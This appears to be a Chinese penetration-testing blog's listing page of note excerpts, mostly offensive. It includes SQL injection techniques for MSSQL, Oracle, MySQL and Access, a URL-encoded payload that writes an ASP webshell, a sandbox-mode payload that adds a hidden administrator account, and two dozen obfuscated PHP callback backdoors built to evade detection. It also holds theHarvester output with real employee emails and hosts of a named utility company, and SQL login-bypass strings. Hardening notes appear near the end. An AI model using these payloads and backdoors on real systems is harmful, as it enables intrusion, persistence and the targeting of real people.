学习笔记

SQL-注入经验

SQL-注入经验
注入经验1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。 4.     猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。 十、几个oracle注入的时候需要注意的地方 1)OracIe注入的时候,union语句的前后类型必须要匹配,要不然会查询不成功。oracle类型常见的有字符类型、数字类型和日期类型等一般我们能用来做union查询并显示的是字符类型和数字类型。前面构造的 union select1,2,3,4,5,6,7,8,9,10,11,1213,14,15,16这个SQL语句的union后面全部是数字类型,而前面肯定有其它类型,所以是不能查询成功的。oracle并不会自己做数据类型转换,但是oracle中可以用NULL匹配所有的数据类型,所以我们等会可以先全部SeIectNULL,然后再逐一检查union之前所select的类型。2)select语句后面必须要跟表名,要不然也不能查询成功。"seIect 1,2,3 这样的语句在SQLServer和MySQL中是可以成功执行的,但在oracIe中必须在后面加上表名.比如 select 1,2,3 fromadmin才行。不过这也不是问题。oracle中有个默认谁都有权限的表 dua .我们可以在select后面加上这个表名。 十一、偏移注射 关于Union偏移注射这个东西,最早貌似是lake2大黑客提出来的,以前一直当他是鸡肋,没去关注过,直到昨天遇到一个mysql4.1的点。表,列都猜出来了,就差数据。因为他的参数是按“,”分割的,所以在注射的时候必须避开逗号,这样一来普通的union就用不成了,想暴力猜解也不行,因为substring也得用到逗号。无奈中想起join语句,偏移注射里面有一个很重要的技巧就是用join语句来控制字段数和数据显示的位置。麻烦的地方在于很多时候你根本不知道目标系统的环境,表里到底有多少列,数据类型什么的,怎么把他拼装到凑齐字段数,只能靠乱猜。目标网站order by 7正常,order by 8无返回,那么一共是7个字段,按照通常的做法,应该是先and 1=2union select1,2,3,4,5,6,7#来看看情况,这里因为要避开逗号,就必须用到join语句。但是不知道用户表一共有几列,没有关系,我们可以用select* from ((select username from users)as a join (select username fromusers)as b ona.username=b.username),把select出部分字段的结果集当做一个表,然后来join到一起,这样只要把(selectusername from users)as a重复7次,就可以把字段补齐。上面的语句在mysql5里面可以正常执行,也可以用到union子句中,可是在mysql4里就报语法错误,看来4.x不支持这么复杂的嵌套。修改了一下:select * from users as a join (select id from users) as b ona.id=b.id这样在4.1里可以正常执行,4.0因为不支持子语句,简单的说就是不支持()里带select,所以就木有办法鸟。但是这样又有问题鸟,因为第一个select后面必须跟*,否则只会返回第一列。Mysql的join语句默认应该是innerjoin,也就是内连接,我尝试换成left join或者rightjoin都不行,我记得mysql4应该是支持左连接和右连接的,搞不懂这里为什么行不通。这么一来又必需猜目标表的字段数了,而且目标表的字段数必需<=语句里select出的字段数才行,也受显示数据字段的制约。好处就是不知道列名也没关系,可以用常数来代替,即select1,2,3,4,5 union select * from users as a join (select 1 from users)as b join (select 1 from users) as c on a.id=1这样就完全避开了“,”,select出来的数据里可能会有很多重复,用distinct关键字过滤掉即可。如果目标表的字段>前面选择的字段也没关系,因为必需保证最前面的字段是*,找一个字段少一点的表,即select* from news as a join (select username from users) asb,不过这个东西受到扫出来的表名,字段数,显示数据字段的制约,比较鸡肋了。以上语句在mysql里测试成功,如果要在access或者mssql里使用,估计得另外调试。这个跟以前提出来那个偏移注射有些区别,也姑且算另外一种意义上的偏移注射吧。核心思想就是不断的join来补齐字段,从而避开。最郁闷的是,最后竟然是用fckeditor搞定shell的,真没技术含量,一下午白研究了-_-刚才在外面骑车的时候,突然想到,之前的语句select * from users as a join (select idfrom users) as b on a.id=b.id前面必须要用到*是因为他并没有把这个select * from usersas a作为一个整体来解析,而是将users as a跟后面的join到一起了,即select * from (users as ajoin (select id from users) as b ona.id=b.id),当然前面要用*,才能返回子语句里所有的列数了。那么改写成select distinct * from (select 1 from users)as a join(select 2 from users)asb即可,然后依次像后面join补齐字段,最后把合适的地方换成用户名密码字段即可。mysql4.1下测试成功,当然还是需要知道列名,呵呵 十二、猜出绝对路径进行差异备份 MSSQL数据库,还可以猜解网站存放在服务器中的根目录,通过差异备份备份出一句话,然后通过一句话木马客户端,上传脚本木马如果一个网站注入点是MYSQL数据库,且是DB权限,或者是SA权限,能够列目录,那么就好办了,找到网站的目录,目录通常在D和E盘,备份个小马,上地址访问看看成功没,直接备份大马貌似不行,成功后,再输入大马内容 十三、通过注入点判断服务器的硬盘(分区)是否有访问权 http://www.fun***.com/user/wmadown.asp?id=48187,这个是注入点了的。现在我们用SQL查询语句试试,C盘是否有访问权限。 语句是: and (select count(*) fromc:\autoexec.bat.c)>0  解释一下原理,其它AC数据库也是可以跨库查询。只要把 from 后的表名改成MDB数据库的硬盘绝对地址,后台加上个“.”,接上要查的表名。例如,我要查D盘yqf.mdb中的ADMIN表: and (select count(*) from d:\yqf.mdb.admin)>0这样的语句,只要知道服务器硬盘其它数据库地址,ACCESS也能跨库查询。只是不知道地址,所以这个无关紧要。 and (select count(*) fromc:\autoexec.bat.c)>0 为什么说用这句可以判断是否有硬盘访问权限呢?大家都知道c:\autoexec.bat 是系统里自有的文件无论哪个系统都有,而大家默认安装WINDOWS也是装在C盘,如果这样找不到文件的话,你可以试试其它盘。 现在我们提交: and (select count(*) fromc:\autoexec.bat.c)>0 看到吧“不可识别的数据库格式'c:\AUTOEXEC.BAT'”报错信息,这样表示C盘有访问的权限。因为读到了AUTOEXEC.BAT把autoexec.bat当mdb数据库来处理了,所以就出现这样的错误提示。 现在我们用刚传的马去看看,呵,C盘有访问的权限吧。反之,如果没有访问权限,则会提示“c:\autoexec.bat已被另一种方式打开,或者无权访问。”类似这样的提示,就是无权限访问了。 不过 autoexec.bat 可以测试,比如c:\winnt\system32\cmd.exe,这些系统原有的文件都可以用来试。 十四、sa下的注入提权 虽说这年头讨论注射已经有点过时了,何况还是sa,但是在遇到我这种情况时,怕只有对injection研究高深的人才能突破吧...本文讨论仍然是sql_server &Win32下的环境是的,网络上已经发布了不少对于存储扩展应用的文档,但大部分是转载的,真正的原理少只又少比如xp_subdirs 是如何获取目录的,是cracert tables 然后select反馈?比如xp_cmdshell 是如何执行cmdshell的 dbo下的system继承?比如sandboxmode下的net user是如何执行的,vbs调用的Shell()?等等等等~~sa的注射搞不下服务器真有点丢人,前提继承的是system :) ,至于其他牛角尖的环境就留给那些提问者吧好了,说说一些特殊的环境吧我们知道,各扩展存储都有调用他们对应的dll文件,例如: sp_OACreate调用odsole70.dllxp_Cmdshell调用xplog70.dllOK,进入正题:情况1:dll文件被替换(因为dll是存储在sqlserver指定路径中的),比如sp_Oacreate被替换成xpweb70.dll如何测试这种情况呢?可以exec sp_oraceate 'xxxxxxx'提示:找不到sp_oraceate,对应的xx.dll没有此函数之类的解决方法:exec sp_dropextendedproc 'Sp_OACreate'EXEC sp_addextendedproc Sp_OACreate ,@dllname ='上传dll'情况2:xp_cmdhshell 或oacreate 无法利用时,采用sandboxmode(沙盒模式)沙盒模式是通过access创建vbs 函数来执行shell的具体语法就不说了前提是要能执行xp_regwrite 开启它但这个利用方法有个局限性,它并不是通过cmd 来调用文件执行的,一般情况下是cmd.exe /c net user这样,而他是net user 为什么呢? 这么理解吧 shell 'c:\windows\system32\net.exeuser'这样明白了吧,他只支持system32下的文件调用而一般的dir ,echo,copy...等等都无法直接利用 可以尝试cmd /c dir..... 这样调用由此引发情况3:cmd,net被禁或更改,这是比较纳闷的问题,而且国内似乎也没有相关的解决办法回到情况二,如上所述sandboxmode能调用system32下的文件,别忘记了有个cacls,有了它,那么网站的权限配置几乎为0了(再次强调,此法必须继承system权限,并且cmdshell等无法利用的情况下)测试方法:Select * FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','selectshell("cacls c:\windows\system32\cmd.exe /t /e /c /g system:F")');赋予cmd.exe的system用户所有权限如果cmd被删或者net.exe,net1.exe被禁也可calcs c:\windows\system32\net.exe/t /e /c /g system:f相比而言sandboxmode的局限性比较小,只需要可以使用xp_regwrite 开启而一般站点管理员对xp_regwrite的安全配置会比较马虎xp_regwrite被删时,可EXEC sp_addextendedprocxp_regwrite,'xpstar.dll'恢复本文讨论的只是sqlserver 注射下的冰山一角,当是抛砖引玉吧~十五、更高级的union select,跨库查询 这里说的是ACCESS的跨库,原文地址:http://www.4ngel.net/article/46.htm 十六、SQL注射及提权经验 MSSQL数据库:1:SA权限一般说来,无论谁拿到一个SA权限的注射点。都会很开心。<1>直接执行net user等命令。<2>可列目录但不能执行系统命令。可以列出目录找出网站中可以利用的地方,比如ewebeditor,或者上传地址(试试是否有上传漏洞),等等。或者找服务器下其他网站,然后入侵之。如果无其他漏洞可以找到,那就利用备份得到一个webshell。<3>无cmdshell那就恢复之。详细请参考http://www.hacker.com.cn/forum/view_118677.html;   中的6楼<4>如果无法恢复cmdshellhttp://forum.eviloctal.com/viewthread.php?tid=31487&highlight=sa可以参考下这篇文章。也就是利用的sp_oacreate来执行。可以通过5次shift来登陆3389还可以利用sp_makewebtask直接在web目录里写入一句话马http://127.0.0.1/sql.asp?id=1';exec%20sp_makewebtask%20'd:\www\xxx.asp','%20select%20''<%25execute(request("a"))%25>''%20';--还可以利用沙盒模式提权EXEC%20master.dbo.xp_regwrite%20'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','selectshell("net user aloner$ aloner /add")');--;Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','selectshell("net localgroup administrators aloner$ /add")');--如果上述方法仍然不行,那就猜解出后台帐户和密码,然后登陆后台。看看有没什么可以利用的。2:db权限Db权限可以列出网站目录,然后备份。用一句话连接得到webshell.如果可以列目录,但无法备份,也同样可以利用找其他漏洞来入侵。毕竟整个网站都可以被你浏览了。然后就是猜解出后台帐户和密码登陆后台了。还有一种就是关于一篇db权限备份到启动项得到系统权限。可以参考下这篇文章http://www.hacker.com.cn/article/view_13207.htmlpublic权限此权限很多人不会利用。但是可以列出目录的。具体参考这篇文章http://www.hacker.com.cn/forum/view_118677.html第10楼。Mysql数据库:Root权限下可以直接利用loadfile读取网站的文件内容(网站的配置信息) ... 继续阅读 »
学习笔记

渗透时Cmd下挖掘有用信息

渗透时Cmd下挖掘有用信息
拿到shell后,运气好高权限可以执行任何命令,好好利用命令挖掘有用的信息,对扩大渗透战果有很大意义的。下面是记录的命令:从当前目录开始递归搜索 文件名中包含指定字符串的文件:dir /s *php*D:\>dir /s *php*  驱动器 D 中的卷没有标签。  卷的序列号是 0004-52B1  D:\ 的目录 2015/07/20  07:35    <DIR>          phpStudy 2015/07/20  07:28        37,050,416 phpStudy-x64 (1).zip                1 个文件     37,050,416 字节同样:dir /s *.confdir /s *vnc*... 继续阅读 »
学习笔记

2015-7-22 代码审计笔记

2015-7-22 代码审计笔记
1、审计过程配置分析环境 ==>  熟悉业务流程 ==> 分析程序架构 ==> 工具自动化分析 ==> 人工代码审计 ==> 整理测试报告 2. username被传入json_str_iconv()函数,判断如果不是utf-8编码就转换。... 继续阅读 »
渗透工具

theharvester - 信息搜集

theharvester - 信息搜集
root@baymax:~/Desktop# theharvester -d sgcc.com.cn -l 1200 -b google********************************************************************                                                                 ** | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  ** | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| ** | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    **  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    **                                                                 ** TheHarvester Ver. 2.5                                           ** Coded by Christian Martorella                                   ** Edge-Security Research                                          ** cmartorella@edge-security.com                                   ********************************************************************[-] Searching in Google: Searching 0 results... Searching 100 results... Searching 200 results... Searching 300 results... Searching 400 results... Searching 500 results... Searching 600 results... Searching 700 results... Searching 800 results... Searching 900 results... Searching 1000 results...[+] Emails found:------------------rurong@sgepri.sgcc.com.cnyb@sgepri.sgcc.com.cnliugang12@sgepri.sgcc.com.cnw@sgcc.com.cnWuming2@epri.sgcc.com.cnwabmaster@sgid.sgcc.com.cnwang@sgcc.com.cnwebmaster@sgid.sgcc.com.cnahuangfeng2@epri.sgcc.com.cnbduke@epri.sgcc.com.cnachenlei2@epri.sgcc.com.cnbhuangzaichao@epri.sgcc.com.cncwupeng3@epri.sgcc.com.cndliuchuan@epri.sgcc.com.cnyuanrongchang@epri.sgcc.com.cnenglish@sgcc.com.cnchao1@sgepri.sgcc.com.cnchao6@sgepri.sgcc.com.cnwuyannian@sgepri.sgcc.com.cnjgbts@ydzq.sgcc.com.cncompliance@ydzq.sgcc.com.cnliujin49@hn.sgcc.com.cnzhou.j@sh.sgcc.com.cndlxxh@epri.sgcc.com.cnchenjinmeng@sgm.sgcc.com.cngdnr_yxgj@sgepri.sgcc.com.cnpengling@sgri.sgcc.com.cninfo@sgcc.com.cnjyj@he.sgcc.com.cnnxg@he.sgcc.com.cnyirongwang@sgcc.com.cn00030009@nx.sgcc.com.cnxiaozheng@sgcc.com.cnqiu_weihao@zj.sgcc.com.cnpst@epri.sgcc.com.cnjrksale@sgepri.sgcc.com.cnmiaox@epri.sgcc.com.cnalichunlong@epri.sgcc.com.cnchuangz@epri.sgcc.com.cndzhangzenghua@epri.sgcc.com.cniweiwei@epri.sgcc.com.cnzhangtao@epri.sgcc.com.cnlinweimin@epri.sgcc.com.cnhuju@epri.sgcc.com.cnxurenzhong@epri.sgcc.com.cnxialie@epri.sgcc.com.cnDingjie@epri.sgcc.com.cncsee@epri.sgcc.com.cnwangcy@epri.sgcc.com.cndsy_tianyj@ec.sgcc.com.cndsy_yangxg@ec.sgcc.com.cndsy_panaq@ec.sgcc.com.cnzhangyin@sh.sgcc.com.cnzhukuanjun@epri.sgcc.com.cnliucaolan@epri.sgcc.com.cnyangjialun@epri.sgcc.com.cnhve@sgepri.sgcc.com.cnzhangjinxiu@sh.sgcc.com.cndsy.zhengx@ec.sgcc.com.cnsgeri@sgeri.sgcc.com.cnzhangyu@sh.sgcc.com.cnsgri@sgri.sgcc.com.cnpanghui@epri.sgcc.com.cnshi@sgcc.com.cnfengbao@sgepri.sgcc.com.cnhr@ydzq.sgcc.com.cnrlzyb@sgcc.com.cn[+] Hosts found in search engines:------------------------------------[-] Resolving hostnames IPs... 210.77.176.143:www.sgcc.com.cn211.160.187.104:www.ec.sgcc.com.cn58.22.2.41:www.fj.sgcc.com.cn202.106.80.133:www.bj.sgcc.com.cn210.77.176.188:ecp.sgcc.com.cn210.77.176.143:csr.sgcc.com.cn210.77.176.58:mail.sgcc.com.cn210.77.178.32:www.sgxy.sgcc.com.cn210.77.178.32:www.epri.sgcc.com.cn218.94.127.42:95598.js.sgcc.com.cn210.77.176.229:iscsso.sgcc.com.cn210.77.176.58:mail.zj.sgcc.com.cn180.168.217.242:95598.sh.sgcc.com.cn210.77.189.33:zhaopin.sgcc.com.cn61.187.56.77:hn.sgcc.com.cn211.160.72.161:www.ydpic.sgcc.com.cn210.77.176.58:pop3.sgcc.com.cn127.0.0.1:nx.sgcc.com.cn210.77.178.32:www.sgepri.sgcc.com.cn180.168.217.244:www.sh.sgcc.com.cn61.187.56.76:95598.hn.sgcc.com.cn58.56.115.235:www.95598.sd.sgcc.com.cn210.77.178.32:www.xjgc.sgcc.com.cn210.77.178.32:www.sgeri.sgcc.com.cn222.171.23.140:95598.hl.sgcc.com.cn202.107.201.24:95598.zj.sgcc.com.cn210.21.246.200:www.ydzq.sgcc.com.cn202.100.20.72:www.sn.sgcc.com.cn218.25.90.11:www.ln.sgcc.com.cn220.168.57.3:www.cseptc.hn.sgcc.com.cn118.122.113.202:www.xy.sc.sgcc.com.cn218.94.127.65:www.js.sgcc.com.cn218.94.96.188:aeps.sgepri.sgcc.com.cn222.171.23.145:hpttc.hl.sgcc.com.cn202.107.201.21:zdfap.zj.sgcc.com.cn118.122.113.214:www.95598.sc.sgcc.com.cn218.28.166.163:zz95598.ha.sgcc.com.cn61.182.207.156:www.he.sgcc.com.cn... 继续阅读 »
学习笔记

pipal - 密码分析工具

pipal - 密码分析工具
root@baymax:~/Desktop/dictionary# pipal CommonUsername.dict  Generating stats, hit CTRL-C to finish early and dump stats on words already processed. Please wait... Processing:    100% |oooooooooooooooooooooooooooooooooooooooooo| Time: 00:00:22 Total entries = 8886 Total unique entries = 8885 Top 10 passwords gale = 2 (0.02%) sibel = 1 (0.01%) admin' or ''=''-- = 1 (0.01%) admin' or 1=1-- = 1 (0.01%) 'or 1=1-- = 1 (0.01%) admins = 1 (0.01%) base = 1 (0.01%) admin'or''=' = 1 (0.01%) user = 1 (0.01%) root = 1 (0.01%) Top 10 base words user = 12 (0.14%) demo = 6 (0.07%) admin = 6 (0.07%) test = 4 (0.05%) batch = 3 (0.03%) ivpm = 2 (0.02%) root = 2 (0.02%) ceshi = 2 (0.02%) lucent = 2 (0.02%) guest = 2 (0.02%) Password length (length ordered) 1 = 7 (0.08%) 2 = 40 (0.45%) 3 = 328 (3.69%) 4 = 1062 (11.95%) 5 = 2029 (22.83%) 6 = 2240 (25.21%) 7 = 1634 (18.39%) 8 = 967 (10.88%) 9 = 392 (4.41%) 10 = 131 (1.47%) 11 = 30 (0.34%) 12 = 13 (0.15%) 13 = 6 (0.07%) 14 = 3 (0.03%) 15 = 2 (0.02%) 16 = 1 (0.01%) 17 = 1 (0.01%) Password length (count ordered) 6 = 2240 (25.21%) 5 = 2029 (22.83%) 7 = 1634 (18.39%) 4 = 1062 (11.95%) 8 = 967 (10.88%) 9 = 392 (4.41%) 3 = 328 (3.69%) 10 = 131 (1.47%) 2 = 40 (0.45%) 11 = 30 (0.34%) 12 = 13 (0.15%) 1 = 7 (0.08%) 13 = 6 (0.07%) 14 = 3 (0.03%) 15 = 2 (0.02%) 17 = 1 (0.01%) 16 = 1 (0.01%)       |                                                                       ||                                                                       ||                                                                       ||                                                                       |||                                                                      |||                                                                      |||                                                                      |||                                                                     ||||                                                                     |||||                                                                    |||||                                                                    |||||                                                                    |||||                                                                   |||||||                                                                  |||||||                                                               |||||||||||||||||||                                                      0000000000111111111 0123456789012345678 One to six characters = 5706 (64.21%) One to eight characters = 8307 (93.48%) More than eight characters = 579 (6.52%) Only lowercase alpha = 8554 (96.26%) Only uppercase alpha = 196 (2.21%) Only alpha = 8750 (98.47%) Only numeric = 11 (0.12%) First capital last symbol = 1 (0.01%) First capital last number = 39 (0.44%) Months march = 3 (0.03%) april = 2 (0.02%) may = 11 (0.12%) june = 2 (0.02%) august = 8 (0.09%) Days tuesday = 1 (0.01%) Months (Abreviated) jan = 44 (0.5%) mar = 229 (2.58%) apr = 3 (0.03%) may = 11 (0.12%) jun = 5 (0.06%) jul = 23 (0.26%) aug = 15 (0.17%) oct = 2 (0.02%) nov = 3 (0.03%) dec = 5 (0.06%) Days (Abreviated) mon = 61 (0.69%) tues = 1 (0.01%) thurs = 2 (0.02%) fri = 14 (0.16%) sat = 1 (0.01%) sun = 6 (0.07%) Includes years None found Years (Top 10) None found Colours blue = 1 (0.01%) gray = 2 (0.02%) red = 48 (0.54%) violet = 3 (0.03%) Single digit on the end = 42 (0.47%) Two digits on the end = 4 (0.05%) Three digits on the end = 6 (0.07%) Last number 0 = 6 (0.07%) 1 = 22 (0.25%) 2 = 17 (0.19%) 3 = 8 (0.09%) 4 = 3 (0.03%) 5 = 2 (0.02%) 6 = 1 (0.01%) 7 = 2 (0.02%) 8 = 4 (0.05%) 9 = 1 (0.01%)  |                                                                        |                                                                        |                                                                        ||                                                                       ||                                                                       ||                                                                       ||                                                                       ||                                                                       ||                                                                       ||                                                                       |||                                                                     ||||                                                                     ||||                                                                     |||||   |                                                                |||||| ||                                                                ||||||||||                                                               0123456789 Last digit 1 = 22 (0.25%) 2 = 17 (0.19%) 3 = 8 (0.09%) 0 = 6 (0.07%) 8 = 4 (0.05%) 4 = 3 (0.03%) 5 = 2 (0.02%) 7 = 2 (0.02%) 6 = 1 (0.01%) 9 = 1 (0.01%) Last 2 digits (Top 10) 23 = 4 (0.05%) 11 = 3 (0.03%) 22 = 2 (0.02%) 00 = 2 (0.02%) 82 = 1 (0.01%) 30 = 1 (0.01%) 02 = 1 (0.01%) 70 = 1 (0.01%) 12 = 1 (0.01%) 01 = 1 (0.01%) Last 3 digits (Top 10) 123 = 4 (0.05%) 812 = 1 (0.01%) 222 = 1 (0.01%) 470 = 1 (0.01%) 111 = 1 (0.01%) 400 = 1 (0.01%) 122 = 1 (0.01%) 100 = 1 (0.01%) Last 4 digits (Top 10) 1111 = 1 (0.01%) 2222 = 1 (0.01%) 3812 = 1 (0.01%) 4400 = 1 (0.01%) 1122 = 1 (0.01%) Last 5 digits (Top 10) 11111 = 1 (0.01%) 22222 = 1 (0.01%) US Area Codes 812 = S Indiana: Evansville, Cincinnati outskirts in IN, Columbus, Bloomington (IN) 470 = Georgia: Greater Atlanta Metropolitan Area (GA) Character sets loweralpha: 8554 (96.26%) upperalpha: 196 (2.21%) upperalphanum: 41 (0.46%) loweralphaspecial: 32 (0.36%) loweralphanum: 19 (0.21%) mixedalpha: 12 (0.14%) numeric: 11 (0.12%) upperalphaspecial: 6 (0.07%) mixedalphanum: 3 (0.03%) specialnum: 1 (0.01%) mixedalphaspecial: 1 (0.01%) Character set ordering allstring: 8762 (98.6%) stringdigit: 54 (0.61%) stringspecialstring: 31 (0.35%) othermask: 14 (0.16%) alldigit: 11 (0.12%) stringdigitstring: 5 (0.06%) digitstring: 3 (0.03%) specialstringspecial: 2 (0.02%) specialstring: 2 (0.02%) stringspecial: 2 (0.02%)... 继续阅读 »
渗透工具

过狗过盾无特征无动态函数PHP一句话-【转】

过狗过盾无特征无动态函数PHP一句话-【转】
学习些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。(少部分一句话需要php5.4.8+、或sqlite/pdo/yaml/memcached扩展等)原理:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html所有一句话使用方法基本都是:http:// target/shell.php?e=assert 密码pass01$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_filter($arr, $e);02$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_map($e, $arr);03$e = $_REQUEST['e'];$arr = array('test', $_REQUEST['pass']);uasort($arr, $e);04$e = $_REQUEST['e'];$arr = array('test' => 1, $_REQUEST['pass'] => 2);uksort($arr, $e);05$arr = new ArrayObject(array('test', $_REQUEST['pass']));$arr->uasort('assert');06$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));$arr->uksort('assert');07$e = $_REQUEST['e'];$arr = array(1);array_reduce($arr, $e, $_POST['pass']);08$e = $_REQUEST['e'];$arr = array($_POST['pass']);$arr2 = array(1);array_udiff($arr, $arr2, $e);09$e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');10$e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk_recursive($arr, $e, '');11mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');12echo preg_filter('|.*|e', $_REQUEST['pass'], '');13ob_start('assert');echo $_REQUEST['pass'];ob_end_flush();14$e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST['pass']);15$e = $_REQUEST['e'];declare(ticks=1);register_tick_function($e, $_REQUEST['pass']);16filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));17filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));18$e = $_REQUEST['e'];$db = new PDO('sqlite:sqlite.db3');$db->sqliteCreateFunction('myfunc', $e, 1);$sth = $db->prepare("SELECT myfunc(:exec)");$sth->execute(array(':exec' => $_REQUEST['pass']));19$e = $_REQUEST['e'];$db = new SQLite3('sqlite.db3');$db->createFunction('myfunc', $e);$stmt = $db->prepare("SELECT myfunc(?)");$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);$stmt->execute();20$str = urlencode($_REQUEST['pass']);$yaml = <<<EODgreeting: !{$str} "|.+|e"EOD;$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));21$mem = new Memcache();$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));$mem->connect($_REQUEST['pass'], 11211, 0);22preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);23mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);24$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));foreach ($iterator as $item) {echo $item;}... 继续阅读 »
学习笔记

2015-7-20 mysql加固复习笔记

2015-7-20 mysql加固复习笔记
Windows下配置Mysql执行日志记录文件  找到mysql文件下的my.ini 编辑并添加一条记录:log=C:\mysqlLog.log  服务下面重启mysql服务即可测试成功的!2. Linux下可以在my.cnf下的[mysqld]下面配置log日志文件,然而并没有测试成功!... 继续阅读 »
学习笔记

2015-7-20 Linux加固复习笔记

2015-7-20 Linux加固复习笔记
常用命令查看路由表: netstat -rn  2. 查看当前进程ps -aux  3. 账号锁定策略使用命令“cat /etc/passwd”查看口令文件,与系统管理员确认不必要的账号FTP等服务的账号,如果不需要登录系统,shell应该/sbin/nologin 加固方法:设置连续输错10次密码,帐号锁定5分钟,使用命令“sudo vim /etc/pam.d/login”修改配置文件,添加auth          required        pam_tally2.so        deny=10 unlock_time=300 even_deny_root root_unlock_time=300注意添加的位置,要写在第一行,即#%PAM-1.0的下面。  4. 检查特速账号查看空口令和root权限的账号使用命令“awk -F: '($2=="")' /etc/shadow”查看空口令账号使用命令“awk -F: '($3==0)' /etc/passwd”查看UID为零的账号  5. 添加口令周期策略  查看策略设置:vi /etc/login.defs修改配置文件:PASS_MAX_DAYS   90        #新建用户的密码最长使用天数PASS_MIN_DAYS   0          #新建用户的密码最短使用天数PASS_WARN_AGE   7         #新建用户的密码到期提前提醒天数#上面配置添加用户时,默认的配置策略,可以通过chage命令具体指定某个用户的口令策略使用chage命令修改用户设置,例如:sudo chage -m 0 -M 30 -E 2000-01-01 -W 7 <用户名>锁定用户功能谨慎使用,密码策略对root不生效6. 限制root远程登陆telnetvi编辑/etc/securetty文件,配置:CONSOLE = /dev/tty01 7. 配置TCP Wrapper 使用命令“vi /etc/hosts.allow”和“vi /etc/hosts.deny”修改配置vi /etc/hosts.allow按“i”进入编辑模式加入:sshd:IP地址vi /etc/hosts.deny按“i”进入编辑模式sshd: ALL : deny8. 限制Ctrl + Alt + Del命令 vi /etc/inittab先使用命令“vi /etc/inittab”编辑配置文件,在行开头添加注释符号“#”#ca::ctrlaltdel:/sbin/shutdown -t3 -r now,再使用命令“init q”应用设置有上面的语句的话取消注释,没有的话就添加一行内容为:ca::ctrlaltdel:/sbin/shutdown -t3 -r now9. 查看NFS共享使用命令“vi /etc/exports”编辑配置文件,删除不必要的共享10. 网络参数TTL值最大0-255,超过了255就超出了比如:设置TTL为 1000实际TTL为 1000 mod 256 = 232实际值对 256取模使用命令“vi /etc/sysctl.conf”修改配置文件,有选择的添加以下内容:net.ipv4.icmp_echo_ignore_broadcasts = 1   # 忽略ICMP广播net.ipv4.icmp_echo_ignore_all = 1           # 忽略ICMP echo请求net.ipv4.ip_default_ttl = 128                 #   修改TTL为128使用命令“sysctl -p”使更改生效10.  重要目录和文件的权限设置.执行以下命令检查目录和文件的权限设置情况: chmod 700 /bin/rpm    chmod 600 /etc/exports  #NFS共享目录配置文件  chmod 600 /etc/hosts.*  #主机访问控制文件  chmod 644 /var/log/messages  #系统日志配置文件  chmod 640 /etc/syslog.conf  chmod 660 /var/log/wtmp  chmod 640 /var/log/lastlog  chmod 600 /etc/ftpusers  #用户口令文件  chmod 644 /etc/passwd  chmod 600 /etc/shadow  #校验模块配置文件目录  chmod R 750 /etc/pam.d   chmod 600 /etc/lilo.conf  #终端配置文件  chmod 600 /etc/securetty  chmod 400 /etc/shutdown.allow  #系统访问安全配置文件  chmod 700 /etc/security  #网络系统配置文件  chmod R 751 /etc/sysconfig  #超级守护进程配置文件  chmod 600 /etc/xinetd.conf  chmod 600 /etc/inetd.conf  chmod R 750 /etc/rc.d/init.d/  chmod 750 /etc/rc.d/init.d/*  #自动运行程序控制文件  chmod 600 /etc/crontab  chmod 400 /etc/cron.*  #SSH配置文件  chmod 750 /etc/ssh  #内核控制配置文件  chmod 400 /etc/sysctl.confg 11. 设置登陆超时    设置系统登录后,连接超时时间,增强安全性  使用命令“vi /etc/profile”修改配置文件,添加“TMOUT=”行开头的注释,设置为“TMOUT=180”,即超时时间为3分钟... 继续阅读 »
学习笔记

2015-7-19 数据库安全合并中间件安全

2015-7-19 数据库安全合并中间件安全
